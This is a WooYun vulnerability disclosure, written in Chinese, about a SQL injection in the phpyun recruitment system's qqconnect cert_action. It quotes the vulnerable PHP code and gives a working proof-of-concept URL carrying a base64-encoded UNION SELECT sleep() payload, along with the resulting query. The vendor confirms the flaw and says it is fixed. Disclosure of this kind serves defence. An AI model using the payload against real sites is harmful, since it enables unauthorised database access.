当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(7) 关注此漏洞

缺陷编号： WooYun-2013-43229

漏洞标题： phpyun SQL注入

相关厂商： php云人才系统

漏洞作者： 猪头子

提交时间： 2013-11-18 14:33

公开时间： 2014-02-16 14:33

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： php源码审核

2人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-18： 细节已通知厂商并且等待厂商处理中
2013-11-18： 厂商已经确认，细节仅向厂商公开
2013-11-21： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-01-12： 细节向核心白帽子及相关领域专家公开
2014-01-22： 细节向普通白帽子公开
2014-02-01： 细节向实习白帽子公开
2014-02-16： 细节向公众公开

简要描述：

处理不当导致注入，绕过waf

详细说明：

在/model/qqconnect.class.php文件中：

code 区域
function cert_action(){


    	$id=$_GET['id'];


		$arr=@explode("|",base64_decode($id));


		if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){


			$row=$this->obj->DB_select_once("company_cert","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");


			if(is_array($row)){


				if($row[status]!=1){


					$value.="`cert`=concat(`cert`,',1'),";


				}


				$id=$this->obj->DB_update_all("company_cert","`status`='1'","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");


				if($_GET['type']=="3"){


					$value.="`email`='".$row['check']."'";


					$id?$this->obj->DB_update_all("lt_info",$value,"`uid`='".$arr[0]."' "):"";


				}else{


					$value.="`linkmail`='".$row['check']."'";


					$id?$this->obj->DB_update_all("company",$value,"`uid`='".$arr[0]."' "):"";


				}


				$id?$this->obj->ACT_msg($this->config['sy_weburl']."/member","认证成功"):$this->obj->ACT_msg($this->config['sy_weburl'],"认证失败，联系管理员认证");


			}else{


				$this->obj->ACT_msg($this->config['sy_weburl'],"认证失败，请检查来路","2");


			}


		}else{


			$this->obj->ACT_msg($this->config['sy_weburl'],"非法操作！","2");


		}


    }



代码从$_GET中获取id参数然后base64解码后按|分隔，其中第0个元素和第1个元素进入了SQL查询，但在此之前有个判断：

code 区域
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){



这里$this->config['coding']默认为null，当我们只提交两个元素的数组时，$arr[2]也为null，因此$arr[2]==$this->config['coding']，条件成立进入判断所以注入发生：

code 区域
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){


			$row=$this->obj->DB_select_once("company_cert","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");



DB_select_once:

code 区域
function DB_select_once($tablename, $where = 1, $select = "*") {


		$cachename=$tablename.$where;


		if(!$return=$this->Memcache_set($cachename)){


		$SQL = "SELECT ".$select." FROM " . $this->def . $tablename . " WHERE ".$where." limit 1";


			$query = $this->db->query($SQL);


			$return=$this->db->fetch_array($query);


			$this->Memcache_set($cachename,$return);


		}





		return $return;


	}



query函数：

code 区域
public function query($sql) {





		if ($sql == "") {


			$this->show_error("SQL语句错误：", "SQL查询语句为空");


		}


		$this->sql = $sql;





		$result = mysql_query($this->sql, $this->conn);





		if (!$result) {


			//调试中使用，sql语句出错时会自动打印出来


			if ($this->show_error) {


				$this->show_error("错误SQL语句：", $this->sql);


			}


		} else {


			$this->result = $result;


		}


		if(1==1){


			global $starttime;


			$dbbug_error2[]="<br>";


			$dbbug_error2[sql]=$this->sql."<br>";


			$dbbug_error2["time"]=$this->getmicrotime()-$starttime."<br>";


			//$dbbug_error2[]="<br>";


			//print_r($dbbug_error2);//查看sql语句


			$this->debug=$dbbug_error;


		}


		return $this->result;


	}

漏洞证明：

提交

code 区域
http://**.**.**.**/phpyun/index.php?M=qqconnect&C=cert&id=enR6JyBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksMiwzLDQsNSw2LDcsOCw5OyN8enR6



id是ztz' and 1=2 union select sleep(10),2,3,4,5,6,7,8,9;#|ztz的base64编码

拼接的SQL语句为：

code 区域
SELECT * FROM phpyun_company_cert WHERE `uid`='ztz' and 1=2 union select sleep(30),2,3,4,5,6,7,8,9;#' and `check2`='ztz' limit 1



执行后sleep了30s

修复方案：

对base64解码后的值进行过滤

版权声明：转载请注明来源 猪头子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-11-18 15:57

厂商回复：

感谢您的提供！我们会及时修复。

最新状态：

2013-11-18：您好，我们已经修复该漏洞！再次感谢！

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-11-18 14:50 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
    0

    waf本来就不能防sql注入啊

    1# 回复此人
  2. 2013-11-18 14:56 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    @寂寞的瘦子 额说错。。准确的说是无视前端的过滤

    2# 回复此人
  3. 2013-11-18 15:34 | Kavia ( 实习白帽子 | Rank:50 漏洞数:10 )
    0

    这是要发啊！

    3# 回复此人
  4. 2014-04-18 15:41 | evil_webshell ( 路人 | Rank:0 漏洞数:2 | 致力于web层面的安全，热爱黑客技术，正在...)
    0

    学习了，涨姿势了

    4# 回复此人

登录后才能发表评论，请先 登录 。